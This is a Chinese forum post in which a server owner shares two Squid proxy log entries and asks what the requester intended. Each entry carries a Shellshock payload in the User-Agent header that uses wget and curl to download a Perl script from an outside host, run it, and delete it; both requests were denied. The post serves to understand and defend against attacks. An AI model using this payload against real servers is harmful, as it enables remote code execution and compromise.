squid日志发现这个，看看这人想做什么

zhangshoug

222.241.151.149 - - [21/Aug/2015:06:42:06 +0800] "GET http://x.x.x.x/cgi-bin/webmap.cgi HTTP/1.1" 403 3964 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\
\r\\n\\r\\nXSUCCESS!\";system(\"wget http://valvi.eu/pdf/a2.log -O /tmp/a2.log;curl -O /tmp/a2.log http://valvi.eu/pdf/a2.log;perl /tmp/a2.log;rm -rf /tmp/a2.log*\");'" TCP_DENIED:
NONE
64.15.155.177 - - [21/Aug/2015:14:27:22 +0800] "GET http://x.x.x.x/cgi-bin/search.cgi HTTP/1.1" 403 3962 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r
\\n\\r\\nXSUCCESS!\";system(\"wget http://valvi.eu/pdf/a2.log -O /tmp/a2.log;curl -O /tmp/a2.log http://valvi.eu/pdf/a2.log;perl /tmp/a2.log;rm -rf /tmp/a2.log*\");'" TCP_DENIED:NONE

其中x.x.x.x是我机器的公网IP。